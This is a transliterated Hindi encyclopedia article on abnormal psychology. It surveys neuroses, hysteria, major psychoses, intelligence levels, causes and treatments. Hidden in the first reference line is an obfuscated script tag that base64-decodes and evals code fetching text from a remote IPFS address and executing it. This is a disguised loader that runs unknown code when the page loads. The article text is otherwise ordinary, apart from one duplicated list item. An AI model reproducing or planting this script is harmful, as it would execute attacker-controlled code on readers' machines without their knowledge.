असामान्य मनोविज्ञान
asamany manovijnan manovijnan ki ek shakha, jo manushyoan ke asadharan vyavaharoan, vicharoan, jnan, bhavanaoan aur kriyaoan ka vaijnanik adhyayan karati hai. asamany ya asadharan vyavahar vah hai jo samany ya sadharan vyavahar se bhinn ho. sadharan vyavahar vah hai jo bahudha dekha jata hai aur jisako dekhakar koee ashchary nahian hota aur n usake lie koee chianta hi hoti hai. vaise to sabhi manushyoan ke vyavahar mean kuchh n kuchh visheshata aur bhinnata hoti hai jo ek vyakti ko doosare se bhinn batalati hai, phir bhi jabatak vah visheshata ati adbhut n ho, koee usase udvign nahian hota, usaki or kisi ka vishesh dhyan nahian jata. par jab kisi vyakti ka vyavahar, jnan, bhavana, ya kriya doosare vyaktiyoan se vishesh matra aur vishesh prakar se bhinn ho aur itana bhinn hoki doosare logoan ko vichitr jan p de to us kriya ya vyavahar ko asamany ya asadharan kahate haian.
asamany manovijnan ke kee prakar hote haian :
- abhavatmak, jisamean kisi aise vyavahar, jnan, bhavana aur kriya mean se kisi ka abhav paya jae to sadharan ya samany manushyoan mean paya jata ho. jaise kisi vyakti mean kisi prakar ke iandriyajnan ka abhav, athava kamapravritti athava kriyashakti ka abhav.
- kisi vishesh shakti, jnan, bhav ya kriya ki adhikata ya matra mean vriddhi.
- kisi vishesh shakti, jnan, bhav ya kriya ki adhikata ya matra mean vriddhi.
- asadharan vyavahar se itana bhinn vyavahar ki vah anokha aur ashcharyajanak jan p de. udaharanarth kah sakate haian ki sadharan kamapravritti ke asamany roop ka bhav, kamhras, kamadhiky aur vikrit kam ho sakate haian.
kisi prakar ki asamanyata ho to keval usi vyakti ko kasht aur du:kh nahian hota jisamean vah asamanyata paee jati hai, balki samaj ke lie bhi vah kashtaprad hokar ek samasya ban jati hai. atev samaj ke lie asamanyata ek b di samasya hai. kaha jata hai ki sanyukt rajy, amarika mean 10 pratishat vyakti asamany haian, isi karan vahaan ka samaj samriddh aur sab prakar se sanpann hota hua thi sukhi nahian kaha ja sakata.
kuchh asamanyataean to aisi hoti haian ki unake karan kisi ki vishesh hani nahian hoti, ve keval ashchary aur kautoohal ka vishay hoti haian, kiantu kuchh asamanyataean aisi hoti haian jinake karan vyakti ka apana jivan du:khi, asaphal aur asamarth ho jata hai, par unase doosaroan ko vishesh kasht aur hani nahian hoti. unako sadharan manasik rog kahate haian. jab manasik rog is prakar ka ho jae ki usase doosare vyaktiyoan ko bhay, du:kh, kasht aur hani hone lage te use pagalapan kahate haian. pagalapan ki matra jab adhik ho jati hai to us vyakti ko pagalakhane mean rakha jata hai, taki vah svatantr rahakar doosaroan ke lie kashtaprad aur hanikarak n ho jae.
us samay aur un deshoan mean jab aur jahaan manovijnan ka adhik jnan nahian tha, manorogi aur pagaloan ke sanbandh mean yah mithya dharana thi ki unapar bhoot, pishach ya haivan ka prabhav p d gaya hai aur ve unamean se kisi ke vash mean hokar asamany vyavahar karate haian. unako thik karane ke lie pooja path, mantr tantr aur yantr adi ka prayog hota tha athava unako bahut mar pitakar unake sharir se bhoot pishach ya shaitan bhagaya jata tha.adhunik samay mean manovijnan ne itani unnati kar li hai ki ab manorog, pagalapan aur manushy ke asamany vyavahar ke karan, svaroop aur upachar ko bahut log jan ge haian.
asamany manovijnan mean in vishayoan ki vishesh charcha hoti hai :
(1) asamanyata ka svaroop aur usaki pahachan.
(2) sadharan manaviy jnan, kriyaoan, bhavanaoan aur vyaktitv tatha samajik vyavahar ke anek prakaroan mean abhavatmak vikritiyoan ke svaroop, lakshan aur karanoan ka adhyayan.
(3) aise manorog jinamean anek prakar ki manovikritiyaan unake lakshanoan ke roop mean paee jati hai. inake hone se vyakti ke achar aur vyavahar mean kuchh vichitrata a jati hai, par vah sarvatha nikamma aur ayogy nahian ho jata. inako sadharan manorog kah sakate haian. aise kisi rog mean man mean koee vichar bahut dridhata ke sath baith jata hai aur hatae nahian hatata. yada-kada aur anivary roop se vah rogi ke man mean ata rahata hai. kisi mean kisi asamany vichitr aur akaran vishesh bhay yada-kada aur anivary roop se anubhav hota rahata hai. jin vastuoan se sadharan manushy nahian darate, manasik rogi unase bhayabhit hota hai. kuchh log kisi vishesh prakar ki kriya ko karane ke lie, jisaki unako kisi prakar ki avashyakata nahian, apane aandar se itane adhik prerit aur badhy ho jate haian ki unhean kie bina unako chain nahian p dati.
(4) asamany vyaktitv jisaki abhivyakti nana ke unmadoan (histiriya) mean hoti hai. is rog mean vyakti ke svabhav, vicharoan, bhavoan aur kriyaoan mean sthirata, samanjasy aur paristhitiyoan ke prati anukoolata ka abhav, vyaktitv ke gathan ki kami aur apani hi kriyaoan aur pratikriyaoan par apane niyantran ka hras ho jata hai. dvivyaktitv athava vyaktitv ki tabdili, nidravastha mean uthakar chalana phirana, apane nam, vansh aur nagar ka vismaran hokar doosare nam adi ka grahan kar lena ityadi batean ho jati haian. is rog ka rogi, akaran hi kabhi rone, hansane, bolane lagata hai; kabhi chuppi sadh leta hai. sharir mean nana prakar ki pi daoan aur iandriyoan mean nana prakar ke jnan ka abhav anubhav karata hai. n vah svayan sukhi rahata hai aur n kutub ke logoan ko sukhi rahane deta hai.
(5) bhayankar manasik rog, jinake ho jane se manushy ka vyaktigat jivan nikamma, asaphal aur du:khi ho jata hai aur samaj ke prati vah vyarth bhararoop aur bhayanak ho jata hai; usako aur logoan se alag rakhane ki avashyakata p dati hai.
is koti mean ye tin rog ate haian :
(a) utsah-vishad-may pagalapan-is rog mean vyakti ko ek samay vishesh shakti aur utsah ka anubhav hota he jis karan usamean asamany sphoorti, chapalata, bahubhashita, kriyashalita ki abhivyakti hoti hai aur doosare samay isake viparit ashaktata, khinnata, glani, chuppi, alasy aur nana prakar ki manovedanaoan ka anubhav hota hai. poorv avastha mean vyakti jitana nirarthak atikaryashil hota hai utana hi doosari avastha mean utsahahin aur alasi ho jata hai. isake lie hath pair uthana aur khana pina kathin ho jata hai.
(a) sthir bhramatmak pagalapan-is rogavale vyakti ke man mean koee aisa bhram sthirata aur dridhata ke sath baith jata hai jo sarvatha nirmool hota hai; aisa asaty hota hai; use vah saty aur vastavik samajhata hai. usake jivan ka samast vyavahar is mithya bhram se prerit hota hai. atev doosare logoan ko ashcharyajanak jan p data hai. bahudha kisi prakar ke b dappan se sanbandh rakhata hai jo vastav mean us vyakti mean nahian hata. jaise, koee bahut sadharan ya pichh da hua vyakti apane ko bahut b da vidvanh, avishkarak, sudharak, paiganbar, dhanavan, samriddh, bhagyavan, sarvasvi, vallabh, bhagavanh ka avatar, chakravarti raja samajhakar logoan se us prakar ke vyaktitv ke prati jo adar aur samman hona chahie usaki asha karata hai. sansar ke lag jab usaki asha poori karate nahian dikhaee dete to aise vyakti ke man mean is paristhiti ka samadhan karane ke lie ek doosara bhram utpann ho jata hai. vah sochata hai ki chooananki vah atyant mahanh aur utkrisht vyakti hai isalie duniya usase jalati aur usaka niradar karati hai tatha usako du:kh aur yatana dene evan use marane ko udyat rahati hai. b dappan ka aur yatana ka donoan ka bhram ek doosare ke paanchashak hokar ais vyakti ke vyavahar ko doosare logoan ke lie rahasyamay aur bhayaprad bana dete haian.
(ee) manhroas, vyaktitvapranash ya atmanash rog mean pagalapan ki parakashtha ho jati hai. vyakti sarvatha nasht hokar usake vicharoan, bhavanaoan aur kamoan mean kisi prakar ka samanjasy, aiky, paristhiti anukoolata, auchity aur dridhata nahian rahati. apani kisi kriya, bhavana ya vichar par usaka niyantran nahian rahata. desh, kal aur paristhiti ka jnan lupt ho jata hai. usaki sabhi batean anargal aur doosaroan ki samajh mean n anevali hoti haian. vah vyakti n apane kisi kam ka rahata hai, n doosaroan ke kuchh kam a sakata hai. aise pagal sab kuchh kha lete haian; jo ji mean ata hai, bakate rahate haian aur jo kuchh man mean ata hai, kar dalate haian. n unhean lajja rahati hai aur n bhay. vivek ka to prashn hi nahian uthata.
(6) ati uchch pratibhashali aur janmajat nyoon pratibhavale vyaktiyoan ka adhyayan bhi asamany manovijnan karata hai. yadyapi yah vishvas bahut purana hai (dr. 'uttararamacharit') ki pratyek vyakti ki pratibha ki matra bhinn hoti hai, tathapi kuchh dinoan se pashchaty deshoan mean manushy ki pratibha ki matra ki bhinnata (nyoonata, samanyata aur adhikata) ko nirdharit karane ki riti ka avishkar ho gaya hai. yadi samany manushy ki pratibha ki matra ki kalpana 100 ki jae to sansar mean 20 se lekar 200 matra ki pratibhavale vyakti pae jate haian. inamean se 90 se 110 tak ki matravaloan ko sadharan, 90 se kam matravaloan ko nimn aur 110 tak ki matravaloan ko uchch shreni ki pratibhavale vyakti kahana hoga. atinimn, nimn aur eeshath nimn tatha ati uchch, uchch aur eeshath uchch matravale bhi bahut vyakti mileange. in vishesh prakar ki pratibhavaloan ke jnan, bhav aur kriyaoan ka adhyayan bhi asamany manovijnan karata hai.
(7) asamany manovijnan jagrat avastha se svapn, sushupti aur samadhi, moorchha, sammohit nidra, nidrahinata aur nidrabhraman adi avasthaoan ko bhi samajhane ka prayatn karata hai aur yah janana chata hai ki jagrat avastha se isaka kya sanbandh hai.
(8) manushy ke sadharan jagrat vyavahar mean bhi kuchh aisi vichitr aur akasmik ghatanaean hoti rahati haian jinake karanoan ka jnan nahian hota aur jinapar unake karanevaloan ko svayan vismay hota hai. jaise, kisi ke muanh se kuchh advitiy, avaanchhit aur anupayukt shabdoan ka nikal p dana, kuchh anuchit batean kalam se likh jana; jinake karane ka irada n hote hue aur jinako karake pachhatava hota hai, aise kamoan ko kar dalana. is prakar ki ghatanaoan ka bhi asamany manovijnan adhyayan karata hai.
(9) aparadhiyoan aur visheshat: un aparadhiyoan ki manovrittiyoan ka bhi asamany manovijnan adhyayan karata hai jo man ki durbalataoan aur manasik rugnata ke karan evan apane ajnat man ki preranaoan aur ichchhaoan ke karan aparadh karate haian.
uparyukt vishayoan ka vaijnanik riti se adhyayan karana asamany manovijnan ka kam hai, isapar koee matabhed nahian hai; par is vijnan mean is vishay par b da matabhed hai ki in asamany aur asadharan ghatanaoan ke karan kya haian. yah to sabhi vaijnanik manate haian ki manovikritiyoan ki utpatti ke karanoan mean bhoot, pishach, shaitan adi ke prabhav ka manana anavashyak aur avaijnanik hai. unake karan to sharir, man aur samajik paristhitiyoan mean hi dhooandhane hoange. is sanbandh mean anek mat prachalit hote hue bhi tin matoan ko pradhanata di ja sakati hai aur unamean samanvay bhi kiya ja sakata hai. ve ye haian :
- sharirik tatvoan ka rasayanik hras athava ativriddhi. vishaile rasayanik tatvoan ka pravesh ya aantarutpadan aur sharirik aangoan tatha avayavoan ki, visheshat: mastishk aur snayuoan ki, vikriti athava vinash.
- samajik paristhitiyoan ki atyant pratikoolata aur unase vyakti ke oopar anupayukt dabav tatha unake dvara vyakti ki parajay. bahari aghat aur sadhanahinata.
- ajnat aur gupt manasik vasanaean, pravrittiyaan aur bhavanaean jinaka jnan man ke oopar ajnat roop se prabhav dalata hai. is dishamean khoj karane mean phrayad, edalar aur yuang ne bahut kary kiya hai aur unaki bahumooly khojoan ke adhar par bahut se manasik rogoan ka upachar bhi ho jata hai. manasik asamanyataoan aur rogoan ka upachar bhi asamany manovijnan ke aantargat hota hai.[1]
rogoan ke karanoan ke adhyayan ke adhar par hi anek prakar ke upacharoan ka nirman hota hai. unamean pradhan ye haian :
- rasayanik karmi ki poorti.
- sanmohan dvara nirdesh dekar vyakti ki supt shaktiyoan ka udbodhan.
- manovishleshan, jisake dvara ajnat man mean nihit karanoan ka jnan prapt karake door kiya jata hai.
- mastishk ki shalyachikitsa.
- pun:shikshan dvara balakapan mean hue anupayukt svabhavoan ko badalakar doosare svabhavoan aur pratikriyaoan ka nirman ityadi.
anek prakar ki vidhiyoan ka prayog manasik chikitsa mean kiya jata hai.[2]
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tika tippani aur sandarbh
- ↑ hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 302-04 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ san.gran.-koankalin : priansipals aauv aibanarmal saikol aauji; braun : saikodayanamiks aauv aibanarmal biheviyar; phishar : aibanarmal saikol aauji; pej : aibanarmal saikol aauji; hart : saikol aauji aauv iansainiti; marfi : ain autalain aauv aibanarmal saikol aauji.